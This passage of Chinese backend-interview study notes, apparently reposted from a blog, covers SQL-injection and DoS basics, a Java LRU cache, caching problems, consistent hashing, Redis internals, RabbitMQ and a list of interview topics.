  • 使用参数化查询:Java中的PreparedStatement是预先编译的SQL语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止SQL注入的发生。
  • 单引号转换:将传入的参数中的单引号转换为连续两个单引号

(4)拒绝服务攻击

拒绝服务攻击(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。

分布式拒绝服务攻击(distributed denial-of-service attack,DDoS),指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。

 5.缓存

1.LRU

import java.util.HashMap;
import java.util.Iterator;

public class LRU<K, V> implements Iterable<K> {

    private Node head;
    private Node tail;
    private HashMap<K, Node> map;
    private int maxSize;

    private class Node {
        Node pre;
        Node next;
        K k;
        V v;

        public Node(K k, V v) {
            this.k = k;
            this.v = v;
        }
    }

    public LRU(int maxSize) {
        this.maxSize = maxSize;
        this.map = new HashMap<>(maxSize * 4 / 3);
        head = new Node(null, null);
        tail = new Node(null, null);
        head.next = tail;
        tail.pre = head;
    }

    public void put(K k, V v) {
        //如果已经包含有k,则将其删除
        if (map.containsKey(k)) {
            Node node = map.get(k);
            unlink(node);
            map.remove(k);
        }
        Node newNode = new Node(k, v);
        appendHead(newNode);
        map.put(k, newNode);
        if(map.size()>maxSize){
            Node delNode = tail.pre;
            unlink(delNode);
            map.remove(delNode.k);
        }
    }

    public V get(K k) {
        if(!map.containsKey(k)){
            return null;
        }else{
            Node node = map.get(k);
            unlink(node);
            appendHead(node);
            return node.v;
        }
    }

    private void appendHead(Node node){
        node.next = head.next;
        head.next.pre = node;
        node.pre = head;
        head.next = node;
    }

    private void unlink(Node node){
        node.pre.next = node.next;
        node.next.pre = node.pre;
    }

    @Override
    public Iterator<K> iterator() {
        return new Iterator<K>() {
            private Node cur = head.next;

            @Override
            public boolean hasNext() {
                return cur != tail;
            }

            @Override
            public K next() {
                Node node = cur;
                cur = cur.next;
                return node.k;
            }
        };
    }

    public static void main(String[] args) {
        LRU<Integer, String> lru = new LRU<>(3);
        lru.put(1, "a1");
        lru.put(2, "a2");
        lru.put(3, "a3");
        lru.put(4, "a4");
        lru.get(2);
        for (Integer integer : lru) {
            System.out.println(integer);
        }
    }
}

2.缓存位置

  • 浏览器
  • ISP(网络服务提供商)
  • 反向代理
  • 本地缓存
  • 分布式缓存
  • 数据库缓存

3.CDN

内容分发网络(Content Distribution Network,CDN)是一种互连的网络系统,它利用更靠近用户的服务器从而更快更可靠地将HTML、CSS、JavaScript、音乐、图片、视频等静态资源分发给用户。

CDN主要有以下优点:

  • 更快的将数据分发给用户
  • 通过部署多台服务器,从而提高系统整体的带宽性能。
  • 多台服务器可以看成是一种冗余机制,从而具有更高可用性。

 4.缓存问题

(1)缓存穿透

指的是对某个一定不存在的数据进行请求,该请求将会穿透缓存到达数据库。

解决方案:

  • 对这些不存在的数据缓存一个空数据
  • 对这些请求进行过滤

(2)缓存雪崩

指的是由于数据没有被加载到缓存中,或者缓存数据在同一时间大面积失效(过期),又或者缓存服务器宕机,导致大量的请求都到达数据库。

在有缓存的系统中,系统非常依赖缓存,缓存分担了很大一部分的数据请求。当发生缓存雪崩时,数据库无法处理这么大的请求,导致数据库崩溃。

解决方案:

  • 为了防止缓存在同一时间大面积过期导致的缓存雪崩,合理设置缓存过期时间。
  • 分布式缓存,分布式缓存中每一个节点只缓存部分的数据,当某个节点宕机时保证其他节点的缓存仍然可用。
  • 缓存预热(预加载?)

(3)缓存一致性

缓存一致性要求数据更新的同时缓存数据也能实时更新。

解决方案:

  • 在数据更新的同时立即去更新缓存。
  • 在读缓存之前先判断缓存是否是最新的,如果不是最新的先进性更新。

缓存数据最好是那些对一致性要求不高的数据,允许缓存存在一些脏数据。

5.数据分布

  • 哈希分布将数据计算哈希值之后,按照哈希值分配到不同的节点上。(存在问题:当节点变化时,要rehash)
  • 顺序分布:将数据划分为多个连续的部分,按数据的ID或者时间分不到不同节点上。

6.一致性哈希

Distributed Hash Table(DHT)是一种哈希分布方式,其目的是为了克服传统哈希分布在服务器节点数量变化时大量数据迁移的问题。

基本原理

将哈希空间[0,2n-1]看成一个哈希环,每个服务器节点都配知道哈希环上。每个数据对象通过哈希取模得到哈希值之后,存访到哈希环中顺时针方向第一个大于等于该哈希值的节点上。

 一致性哈希在增加或者删除节点时只会影响到哈希环中相邻的节点。只需要将其后面一个节点的数据进行重新分布。

虚拟节点

上面描述的一致性哈希存在数据分布不均匀的问题,节点存储的数据量有可能会存在很大的不同。

数据不均匀主要是因为节点在哈希环上分布的不均匀,这种情况在节点数量很少的情况下尤其明显。

解决方式是通过增加虚拟节点(对每一个服务节点计算多个哈希,每个计算结果都放置一个此服务节点,称为虚拟节点),然后将虚拟节点映射到真实节点上。虚拟节点的数量比真实节点来得多,那么虚拟节点在哈希环上分布的均匀性就会比原来的真实节点好,从而使得数据分布也更加均匀。

6.消息队列

(1)消息模型

  • 点对点
  • 发布/订阅

(2)使用场景

  • 异步处理
  • 流量削锋
  • 应用解耦

(3)可靠性

发送端的可靠性

实现方法:在本地数据库建一张消息表,将消息数据与业务数据保存在同一数据库实例里,这样就可用利用本地数据库的事务机制。事务提交成功后,将消息表中的消息转移到消息队列中,若转移消息成功则删除消息表中的数据,否则继续重传。

接收端的可靠性

两种实现方法:

  • 保证接收端处理消息的业务逻辑具有幂等性:只要具有幂等性,那么消费多少次消息,最后处理的结果都是一样的。
  • 保证消息具有唯一编号,并使用一张日志表来记录已经消费的消息编号。

 REDIS

 Redis是速度非常快的非关系型(NoSQL)内存键值数据库,可以存储键和五种不同类型的值之间的映射。

数据类型:

  • STRING 字符串、整数或者浮点数
  • LIST 列表
  • SET 无序集合
  • HASH 包含键值对的无序散列表
  • ZSET 有序集合

 数据结构:

  • 字典

字典的数据结构:

typedef struct dict {   /*字典主操作类*/
    dictType *type; //类型特定函数
    void *privdata; //私有数据
    dictht ht[2];   //字典哈希表,共2张
    long rehashidx; /* rehash索引,rehashing not in progress if rehashidx == -1 */
    int iterators; /* number of iterators currently running */
} dict;

rehashidx记录了rehash目前的进度。

其中使用了两个哈希表(dictht)

哈希表(dictht)的数据结构:

/* This is our hash table structure. Every dictionary has two of this as we
 * implement incremental rehashing, for the old to the new table. */
typedef struct dictht { /*哈希表结构体*/
    dictEntry **table;  //哈希表数组
    unsigned long size; //哈希表大小
    unsigned long sizemask; //哈希表大小掩码,用于计算索引值。总是等于size-1
    unsigned long used; //该哈希表已有节点的数量
} dictht;

哈希表中每个entry的数据结构:

typedef struct dictEntry {  /*字典结构体,保存K-V值的结构体*/
    //
    void *key;
    //
    union {
        void *val;
        uint64_t u64;   //无符号整型值
        int64_t s64;    //有符号整型值
        double d;
    } v;
    struct dictEntry *next; //指向下一个哈希表节点,形成链表
} dictEntry;

为什么字典中要使用两个哈希表?

一般情况下,字典只使用ht[0]哈希表,ht[1]哈希表只会在ht[0]哈希表进行rehash时使用。

这个是字典的数据结构。

 字典的rehash操作

随着哈希表保存的键值增多或者减少,字典都会进行rehash

(1)为字典的ht[1]哈希表分配空间,取决于增多还是减少引起的rehash

  • 如果是扩展操作,则ht[1]的大小为第一个大于等于h[0].used*2的2^n.
  • 如果是收缩操作,则ht[1]的大小为第一个大于等于h[0].used的2^n.

(2)将ht[0]中的所有键值对rehash到ht[1]上面。

(3)将ht[0]=ht[1],并在ht[1]新创建一个空白哈希表,为下一次rehash做准备

 渐进式rehash

由于redis的数据量可能巨大,因此上述第(2)步操作可能巨慢,因此要分多次、渐进式地将ht[0]里面的键值对慢慢地rehash到ht[1]。

(1)为ht[1]分配空间,让字典同时持有ht[0],ht[1]两个哈希表。

(2)将rehashidx的值设为0,表示rehash工作正式开始。

(3)在rehash进行期间,每次对字典进行增删改查时,程序除了执行指定的操作之外,还会顺带将ht[0]哈希表在rehashidx索引上的所有键值对rehash到ht[1],当rehash工作完成之后,ht[0]对应的索引上变为null,rehashidx++。

(4)随着字典操作的不断进行,最终在某个时间点上,ht[0]的所有键值对都会被rehash至ht[1],这时程序将rehashidx属性的值设为-1,表示rehash已完成。

渐进式rehash执行期间的哈希表操作

在渐进式rehash的过程中,字典会同时使用ht[0]和ht[1]两个哈希表,在rehash执行期间,删改查都会在两个表中进行。

增只会在ht[1]中进行,这个措施保证了ht[0]包含的键值对数量只增不减,并随着rehash操作的执行而最终变为空表。

  •  跳跃表

有序集合的底层实现之一。

跳跃表时基于多指针有序链表实现的,可以看成多个有序链表。

 

与红黑树相比,跳跃表具有以下优点:

  • 插入速度非常快速,因为不需要进行旋转等操作来维护平衡性。
  • 更容易实现。
  • 支持无锁操作。

 适用场景:

计数器、缓存、查找表、消息队列、会话缓存、分布式锁实现

 缓存淘汰策略:

  • volatile-lru(过期+lru)
  • volatile-ttl(过期+即将要过期)
  • volatile-random
  • allkeys-lru
  • allkeys-random
  • noeviction

 持久化

  • RDB(snapshot)
  • AOF(将写命令添加到AOF文件)
    • 同步频率:always everysec no(让操作系统来决定何时同步)
    • AOF重写,能够去除AOF文件中的冗余写命令

 事务

一个事务包含了多个命令,服务器在执行事务期间,不会改去执行其他客户端的命令请求。

事务中的多个命令被一次性发送给服务器,而不是一条一条发送,这种方式被称为流水线,它可以减少客户端与服务器之间的网络通信次数而提升性能。

Redis最简单的事务实现方式是使用MULTI和EXEC命令将事务操作包围起来。

复制

通过使用slaveof host port命令来让一个服务器称为另一个服务器的从服务器。

一个从服务器只能有一个主服务器,并且不支持主朱复制。

连接过程

1.主服务器创建快照文件(RDB),发送给从服务器,并在发送期间使用缓冲区记录执行的写命令。快照文件发送完毕之后,开始向从服务器发送存储在缓冲区的写命令。

2.从服务器丢弃所有旧数据,载入主服务器发来的快照文件,之后从服务器开始接受主服务器发来的写命令。

3.主服务器每执行一次写命令,就向从服务器发送相同的写命令。

分片

分片是将数据划分为多个部分的方法,可以将数据存储到多台机器里面,这种方法在解决某些问题时可以获得线程级别的性能提升。

假设4个Redis实例R0,R1,R2,R3,还有很多表示用户的键user:1,user:2,...,有不同的方式来选择一个指定的键存储在哪个实例中。

  • 范围分片:用户id从0~1000的存储到实例R0中,用户id从1001~2000的存储到实例R1中,等等。但是这样需要维护一张映射范围表,维护操作代价很高。
  • 还有一种方式是哈希分片,使用CRC32哈希函数将键转换为一个数字,再对实例数量求模就能知道应该存储的实例。

根据执行分片的位置,可以分为三种分片方式:

  • 客户端分片:客户端使用一致性哈希等算法决定键应当分布到哪个节点。
  • 代理分片:将客户端请求发送到代理上,由代理转发请求到正确的节点上。
  • 服务器分片:Redis Cluster

 消息队列

  • Producer:数据的发送方
  • Consumer:数据的接收方
  • Connection:TCP连接,Producer和Consumer都是通过TCP连接到RabbitMQ Server的。
  • Channel:虚拟连接。TCP代价较大。Channel是建立在上述TCP连接中的。数据流动都是在Channel中进行的。一般情况下是程序起始建立TCP连接,第二部就是建立这个Channel
  • Broker:简单来说就是消息队列服务器实体
  • Exchange:消息交换机,它指定消息按什么规则,路由到哪个队列。
  • Queue:消息队列载体,每个消息都会被投入到一个或多个队列。
  • Binding:绑定,它的作用就是把exchange和queue按照路由规则绑定起来
  • Routeing Key:路由关键字,exchange根据这个关键字进行消息投递
  • VHost:虚拟主机,一个broker里可以开设多个vhost,用作不同用户的权限分离

由Exchange、Queue、RoutingKey三个才能决定一个从Exchange到Queue的唯一的线路。

Message acknowledgment

为了防止消费者接受消息后没有处理完成就宕机导致消息丢失,我们要求消费者在消费完消息后发送一个回执给RabbitMQ,RabbitMQ收到消息回执后才将消息从Queue中移除。

RabbitMQ不存在只有在没有收到回执并检测到消费者的RabbitMQ连接断开,才会将消息发送给其他消费者进行处理,这里不存在timeout,一个消费者处理消息事件再长也不会导致该消息被发送给其他消费者。

Message durability

消息持久化防止RabbitMQ宕机或者重启,数据丢失。

Exchange

RabbitMQ中的Exchange由四种类型,不同的类型有着不同的路由策略。

Routing Key 和 Binding Key

在生产者将消息发送给Exchange的时候,一般会指定一个Routing Key,来指定这个消息的路由规则,而这个Routing Key需要与Exchange Type及Binding Key联合使用。

在绑定Exchange和Queue的同时,一般会指定一个Binding Key。

Exchange Types

fanout

将所有发送到Exchange的消息路由到所有于它绑定的Queue中。

direct

把消息路由到哪些Binding Key与Routing Key完全匹配的Queue中。

topic

带通配符的direct

headers

不依赖于Routing Key和Binding Key,而是根据发送的消息内容中的headers属性进行匹配。

 1.为什么要使用消息队列?

解耦、异步、削峰

  • 解耦:使得系统之间可以不通过代码调用
  • 异步:一些非必要的业务以同步的方式去运行,太耗费时间
  • 削峰:避免并发量过大

 2.消息队列的缺点

  • 系统可用性降低:多了一样可能会挂掉的东西
  • 系统复杂性增加:一致性问题、如何保证消息不被重复消费、可靠性传输

3.消息队列选型

  • ActiveMQ
  • RabbitMQ
  • RocketMQ
  • Kafka

 

4.如何保证消息队列是高可用的

 集群:

(RabbitMQ)

  • 普通集群
  • 镜像集群

 5.如何保证消息不被重复消费

保证消息队列的幂等性。

  • insert使用主键
  • update本来就有幂等性
  • redis中保存消费过的消息全局id,消息在消费之前去redis中检查

造成重复消费的原因?

因为网络传输等等故障(宕机),确认信息没有传送到消息队列,导致消费队列不知道自己已经消费过该消息了,再次将消息分发给其他消费者。

 6.如何保证消费的可靠传输?

(1)生产者丢数据

  • transaction
  • confirm

confirm模式:所有在该信道上发布的消息都将会被指派一个唯一的ID,一旦消息被投递到所有匹配的队列之后,RabbitMQ就会发送一个ACK给生产者,这就使得生产者知道消息已经正确到达目的队列了。如果RabbitMQ没能处理该消息,则会发送一个Nack消息给你,你可以进行重试操作。

 (2)消息队列丢数据

持久化

(RabbitMQ)

  • 将queue的持久化标识durable设置为true,则代表是一个持久的队列
  • 发送消息的时候将deliveryMode = 2

(3)消费者丢数据

消费者丢数据一般是因为采用了自动确认消息模式,采用手动确认即可。

 SpringBoot

 1.SpringBoot、SpringMVC、Spring有什么区别?

SpringBoot和Spring相比简化了繁琐的配置,“约定大于配置”。

 2.嵌入式服务器

SpringBoot内嵌tomcat服务器

3.Spring Data

Spring Data提供了不受底层数据源限制的Abstractions接口。

1.网络
  http
  幂等性
  tcp、udp

    tcp如何保证链接的唯一性

    tcp中CLOSE_WAIT和TIME_WAIT两种状态
  滑动窗口后拥塞
  数据包转发过程
  拥塞控制
  三次握手、四次挥手

  输入一个url到获取到页面,要经历什么流程,用到哪些协议

  浏览器能不能用udp

  cookie和session的区别,如何配合使用
2.linux 操作系统
  进程通信
  共享内存

  如何查看内存

  如何查看线程
3.服务器
  nginx:处理请求、进程唤醒、负载均衡
5.redis zookeeper 消息队列
6.java基础
  集合:hashmap(多线程并发下) arraylist linkedlist
  进程与线程

    线程锁类型:自旋锁、读写锁、CAS操作
  同步IO、异步IO
  死锁
  B树、B+树
  volatile
  CAS

  红黑树

  散列表

  实现生产者、消费者

  知道哪些数据结构

  concurrenthashmap

  lock synchronized

  乐观锁、悲观锁

7.jvm
  垃圾回收算法
  内存泄露、内存溢出
  类加载过程

  stack\heap区

  新生代、老年代

  G2、parallel回收

  线性回收

  内存模型

  堆栈的区别,存了哪些东西
8.spring
9.数据库
  InnoDB、B+树都保存了什么,具体保存了什么
  隔离级别

  执行引擎

  索引

10.并发 多线程

  线程池 阻塞队列
11.分表分库

  一致性hash
12.分布式
13.docker
14.虚拟内存

15.微服务

16.数据结构

  树平常在哪会用到

17.算法

  排序算法,时间空间复杂度,哪些是稳定的

猜你喜欢

转载自www.cnblogs.com/yfzhou/p/10079842.html